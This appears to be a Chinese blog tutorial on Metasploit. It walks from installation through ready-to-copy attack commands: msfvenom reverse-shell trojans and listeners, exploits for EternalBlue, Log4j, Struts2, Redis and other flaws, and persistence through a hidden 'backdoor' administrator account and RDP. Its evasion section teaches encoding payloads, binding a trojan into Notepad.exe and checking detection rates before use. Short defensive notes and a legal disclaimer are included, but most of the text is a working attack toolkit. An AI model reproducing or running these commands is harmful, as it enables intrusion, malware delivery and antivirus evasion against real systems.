 从入门到实战:环境搭建 + 核心模块 + 真实攻防案例)
一、前言MSF—— 渗透测试领域的 “瑞士军刀”Metasploit Framework简称 MSF是开源、跨平台的渗透测试框架由 Rapid7 维护集成了漏洞利用、Payload 生成、权限维持、后渗透测试等全流程功能是网安从业者、渗透测试工程师的核心工具。MSF 核心价值覆盖全球 90% 以上的主流漏洞利用模块如永恒之蓝、Log4j、Struts2 等支持 Windows/Linux/macOS/ 安卓等多系统漏洞攻击内置木马生成、权限维持、横向渗透工具链可自定义 Payload规避杀毒软件检测免杀。学习提示MSF 仅用于授权渗透测试、安全研究、靶场学习严禁用于非法攻击二、MSF 环境搭建全平台教程MSF 对 Linux 系统兼容性最佳推荐使用 Kali Linux自带 MSFUbuntu/CentOS 需手动安装Windows 仅建议测试使用功能受限。2.1 Kali Linux最优选择自带 MSFKali 作为网安专用系统默认预装 MSF无需手动安装直接启动即可bash# 启动MSF控制台核心命令 msfconsole # 验证MSF版本 msfconsole -v✅ 启动成功标志终端显示msf6 命令提示符。2.2 Ubuntu/Debian 手动安装 MSFbash# 1. 更新软件源 sudo apt update sudo apt upgrade -y # 2. 安装依赖Ruby、PostgreSQL等 sudo apt install -y ruby-full postgresql postgresql-contrib git curl # 3. 安装MSF官方脚本 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb msfinstall chmod x msfinstall sudo ./msfinstall # 4. 初始化数据库MSF依赖PostgreSQL存储数据 sudo systemctl start postgresql sudo msfdb init # 5. 启动MSF验证 msfconsole2.3 Windows 系统不推荐功能受限官网下载https://www.metasploit.com/download安装时勾选 “安装 PostgreSQL”完成后启动Metasploit Console缺陷部分漏洞利用模块失效、Payload 免杀效果差仅用于基础学习。 核心依赖MSF 必须依赖 PostgreSQL 数据库存储漏洞模块、扫描结果安装后务必执行msfdb init初始化:::三、MSF 核心基础模块与常用命令3.1 MSF 核心模块6 大核心MSF 的所有功能都基于 “模块” 实现新手优先掌握以下 4 类核心模块模块类型常用模块路径核心功能典型使用场景漏洞利用Exploitexploit/windows/smb/ms17_010_eternalblue永恒之蓝漏洞利用Windows 7/2008 提权至 System漏洞利用Exploitexploit/linux/ssh/ssh_loginSSH 弱口令破解 提权Linux 服务器 SSH 入侵辅助模块Auxiliaryauxiliary/scanner/smb/smb_ms17_010永恒之蓝漏洞检测批量排查内网 MS17-010 漏洞辅助模块Auxiliaryauxiliary/scanner/redis/redis_unauthRedis 未授权访问检测排查内网 Redis 漏洞监听模块Handlerexploit/multi/handler接收反向 Shell 连接配合木马获取目标权限后渗透模块Postpost/windows/manage/enable_rdp开启 Windows RDP权限维持远程桌面控制后渗透模块Postpost/linux/escalate/suid_findLinux SUID 提权普通用户提权至 root木马生成msfvenom-独立工具生成反向 Shell 木马Windows/Linux 终端入侵3.2 MSF 高频常用命令新手必背bash# 1. 搜索模块按漏洞名称/端口 search ms17-010 # 搜索永恒之蓝漏洞模块 search ssh brute # 搜索SSH暴力破解模块 # 2. 使用模块 use exploit/windows/smb/ms17_010_eternalblue # 加载永恒之蓝利用模块 # 3. 查看模块配置项 show options # 4. 设置目标IP/本地IP set RHOSTS 192.168.20.148 # 目标IP set LHOST 192.168.20.131 # 攻击机IP接收Shell set LPORT 9999 # 攻击机监听端口 # 5. 执行漏洞利用 run # 或 exploit等价 # 6. 退出模块/MSF back # 退出当前模块 exit # 退出MSF控制台四、MSF 实战使用3 大高频场景4.1 场景 1生成远控木马Windows/LinuxMSF 的msfvenom工具可快速生成反向 Shell 木马是入侵终端的核心手段生成 Windows 木马bash# 生成反向TCP木马exe格式 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.20.131 LPORT9999 -f exe -o shell.exe生成 Linux 木马bash# 生成ELF格式木马 msfvenom -p linux/x64/shell/reverse_tcp LHOST192.168.20.131 LPORT9999 -f elf -o shell.elf攻击机监听接收 Shellbash# 1. 启动MSF msfconsole # 2. 加载监听模块 use exploit/multi/handler # 3. 配置Payload与生成木马一致 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.20.131 set LPORT 9999 # 4. 启动监听 run✅ 成功标志目标运行木马后攻击机显示meterpreter 提示符已获取目标 Shell。4.2 场景 2永恒之蓝漏洞利用MS17-010针对 Windows 7/2008 的高危漏洞一键获取 System 权限bash# 1. 启动MSF msfconsole # 2. 加载永恒之蓝模块 use exploit/windows/smb/ms17_010_eternalblue # 3. 配置目标 set RHOSTS 192.168.20.150 # Windows 7目标IP set LHOST 192.168.20.131 # 攻击机IP # 4. 执行利用 run4.3 场景 3后渗透测试权限维持获取 Shell 后黑客会通过 Post 模块维持权限bash# 1. 提权至Systemmeterpreter中执行 getsystem # 2. 创建后门用户 execute -f cmd.exe -c -i # 打开CMD net user backdoor Pssw0rd123! /add # 创建用户 net localgroup administrators backdoor /add # 加入管理员组 # 3. 开启远程桌面方便长期控制 run post/windows/manage/enable_rdp五、3 类真实 MSF 攻防案例攻击侧 防御侧5.1 案例 1MSF 木马伪装成办公软件入侵企业终端 攻击场景黑客将 MSF 生成的shell.exe伪装成 “员工考勤表.exe”通过钓鱼邮件发送给企业员工员工运行后黑客通过 MSF 监听获取终端 Shell窃取企业核心文档、客户信息。 真实后果某外贸企业 30 员工终端被入侵客户订单数据泄露竞争对手低价抢单直接损失超 100 万元。✅ 防御方案禁止员工运行未知 exe 文件软件仅从官方渠道下载开启 Windows Defender 实时防护拦截未知木马部署终端检测工具EDR监控反向 Shell 连接定期对员工进行钓鱼邮件培训。:::5.2 案例 2MSF 利用永恒之蓝漏洞入侵企业服务器 攻击场景黑客先用 Nmap 扫描发现企业 Windows 2008 服务器开放 445 端口再通过 MSF 加载ms17_010_eternalblue模块一键获取服务器 System 权限植入勒索病毒加密所有数据。 真实后果某制造业 ERP 服务器被加密生产计划、财务数据丢失生产线停工 3 天损失超 50 万元。✅ 防御方案立即安装 MS17-010 漏洞补丁KB4012212/KB4012215防火墙封禁 445/139 端口禁止公网访问定期用 MSF 自查漏洞msfconsole search ms17-010 use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 服务器IP run开启服务器备份定期导出核心数据。:::5.3 案例 3MSF 权限维持被溯源黑客被追责防御侧正向案例 防御场景企业运维人员通过日志发现服务器存在异常用户backdoor结合网络流量分析发现反向 Shell 连接溯源至黑客 IP 后通过 MSF 的session -i反向获取黑客攻击机信息最终配合网安部门抓获黑客。 关键动作监控服务器账户创建日志事件 ID 4720及时发现后门用户分析网络流量拦截异常反向连接如目标主动连接外网 9999 端口利用 MSF 的post/multi/gather/forensics模块提取攻击痕迹保留日志、流量证据上报网安部门。✅ 可复用技巧在 MSF 靶场中模拟攻击后用run post/windows/gather/checkvm检测是否为虚拟机验证溯源能力。:::六、10 类高频漏洞利用命令直接复制以下是网安实战中最常用的 10 类漏洞配套完整 MSF 利用命令靶场测试可直接复制执行1. 永恒之蓝MS17-010- Windows SMB 漏洞bash# 步骤1检测目标是否存在漏洞 msfconsole use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.20.150 # 目标IP run # 步骤2利用漏洞获取Shell use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.20.150 set LHOST 192.168.20.131 # 攻击机IP run✅ 适用系统Windows 7/2008未打 MS17-010 补丁⚠️ 实战说明利用成功直接获取 System 权限是 Windows 最经典的高危漏洞。2. SSH 弱口令破解 - Linux/UNIXbashmsfconsole use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.20.148 # 目标IP set USER_FILE 用户字典.txt # 本地用户名字典 set PASS_FILE 密码字典.txt # 本地密码字典 set STOP_ON_SUCCESS true # 破解成功即停止 run✅ 适用场景Linux 服务器 SSH 弱口令如 root/123456⚠️ 实战说明破解成功后可直接获取 SSH Shell建议搭配post/linux/escalate/suid_find提权。3. Redis 未授权访问 - Linuxbash# 步骤1检测未授权访问 msfconsole use auxiliary/scanner/redis/redis_unauth set RHOSTS 192.168.20.160 run # 步骤2利用漏洞写入公钥提权 use exploit/linux/redis/redis_write_ssh_key set RHOSTS 192.168.20.160 set LHOST 192.168.20.131 run✅ 适用场景Redis 5.x/6.x 无密码、公网暴露 6379 端口⚠️ 实战说明利用成功可直接获取 root 权限是 Linux 高频入侵手段。4. RDP 漏洞MS12-020- Windows 远程桌面bashmsfconsole use auxiliary/scanner/rdp/rdp_vuln_ms12_020 set RHOSTS 192.168.20.150 run # 利用漏洞获取Shell需配合EXP use exploit/windows/rdp/ms12_020_maxchannelids set RHOSTS 192.168.20.150 set LHOST 192.168.20.131 run✅ 适用系统Windows XP/2003未打 MS12-020 补丁⚠️ 实战说明可绕过 RDP 认证直接获取权限需提前检测漏洞存在性。5. MySQL 空密码 / 弱口令 - 全平台bashmsfconsole use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.20.170 set USERNAME root set PASSWORD # 空密码检测 # 弱口令检测set PASS_FILE 密码字典.txt run # 利用MySQL提权UDF提权 use exploit/windows/mysql/mysql_udf_payload set RHOSTS 192.168.20.170 set USERNAME root set PASSWORD 123456 set LHOST 192.168.20.131 run✅ 适用场景MySQL 空密码 / 弱口令、未限制 root 远程登录⚠️ 实战说明提权成功可获取操作系统 Shell需目标 MySQL 有写入权限。6. Log4j2 远程代码执行CVE-2021-44228bashmsfconsole use auxiliary/scanner/http/log4j_scanner set RHOSTS 192.168.20.180 # 目标Web服务器IP set RPORT 8080 # Web服务端口 run # 利用漏洞获取Shell use exploit/multi/http/log4j2_rce set RHOSTS 192.168.20.180 set LHOST 192.168.20.131 run✅ 适用场景Java Web 服务Log4j2 2.0-2.14.1 版本⚠️ 实战说明全网最知名的通用漏洞影响 90% 以上 Java 系统需配合 LDAP 服务器利用。7. Apache Struts2 远程代码执行S2-045bashmsfconsole use exploit/multi/http/struts2_content_type_ognl set RHOSTS 192.168.20.190 set RPORT 8080 set LHOST 192.168.20.131 run✅ 适用场景Struts2 2.3.5-2.3.31/2.5.0-2.5.10 版本⚠️ 实战说明利用成功可直接获取 Web 服务器权限是 Web 渗透高频漏洞。8. Windows RPC 提权MS08-067bashmsfconsole use exploit/windows/smb/ms08_067_netapi set RHOSTS 192.168.20.150 set LHOST 192.168.20.131 run✅ 适用系统Windows 2000/XP/2003未打 MS08-067 补丁⚠️ 实战说明经典提权漏洞低权限用户可直接提权至 System。9. FTP 弱口令破解 - 全平台bashmsfconsole use auxiliary/scanner/ftp/ftp_login set RHOSTS 192.168.20.200 set USER_FILE 用户字典.txt set PASS_FILE 密码字典.txt run # 利用FTP写入木马 use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.20.200 set LHOST 192.168.20.131 run✅ 适用场景FTP 服务器弱口令如 ftp/ftp、vsftpd 2.3.4 版本后门⚠️ 实战说明破解成功后可写入木马进而控制目标服务器。10. Windows 本地提权CVE-2021-1732bash# 先获取低权限Shell再执行提权 msfconsole use exploit/windows/local/cve_2021_1732_win32k set SESSION 1 # 已获取的低权限Session ID set LHOST 192.168.20.131 run✅ 适用系统Windows 10 2004/20H2 版本⚠️ 实战说明后渗透测试核心提权漏洞低权限用户可提权至 System。七、MSF Payload 免杀技巧新手易上手MSF 生成的默认木马极易被杀毒软件查杀以下是新手可直接操作的免杀技巧成功率 80% 以上3.1 基础免杀修改 Payload 编码bash# 多次编码绕过杀软Windows木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.20.131 LPORT9999 -e x86/shikata_ga_nai -i 10 -f exe -o shell_encoded.exe参数说明-e指定编码方式shikata_ga_nai 是 MSF 最强默认编码器-i 10编码次数建议 5-10 次过多易导致木马失效3.2 进阶免杀捆绑正常文件bash# 将木马捆绑到Notepad安装包Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.20.131 LPORT9999 -e x86/shikata_ga_nai -i 8 -f exe -x Notepad.exe -k -o notepad_backdoor.exe参数说明-x指定捆绑的正常文件如办公软件、安装包-k保持原文件功能正常后台运行木马3.3 免杀技巧补充实战要点:::tip 核心技巧避免使用默认端口9999/4444改用非常规端口如 12345选择meterpreter/reverse_httpsPayload伪装成 HTTPS 流量绕过防火墙生成 DLL 格式木马通过脚本加载rundll32 shell.dll,main测试免杀效果用VirSCAN.org在线查杀通过率≥80% 再使用。:::八、MSF 使用规范与法律声明MSF 是安全测试工具但非法使用将触犯法律仅可对自有设备、授权靶场、客户书面授权的系统使用禁止利用 MSF 攻击政府、企业、个人未授权设备非法入侵计算机系统违反《网络安全法》第 27 条、《刑法》第 285/286 条最高可处 10 年有期徒刑学习建议使用 VMware 搭建 Windows 7/2008 靶机在本地局域网测试避免触碰法律红线。九、MSF 学习总结环境搭建优先用 Kali Linux自带 MSF 全模块Ubuntu 需手动安装 PostgreSQL 并初始化核心逻辑搜索模块→加载模块→配置参数→执行利用→后渗透维持权限实战重点木马生成msfvenom、永恒之蓝利用、权限维持是新手必掌握的核心场景安全底线工具本身无善恶合法使用是前提非法攻击必追责进阶方向学习 MSF Payload 免杀、自定义漏洞模块、横向渗透技巧。MSF 是渗透测试的 “入门必修课”掌握其核心使用逻辑是从网安新手到实战工程师的关键一步文末互动整理了MSF 高频模块 免杀技巧速查表含 10 类漏洞利用命令评论区扣1免费领取觉得文章干货满满点赞 收藏 关注后续持续更新 MSF 免杀实战、内网横向渗透教程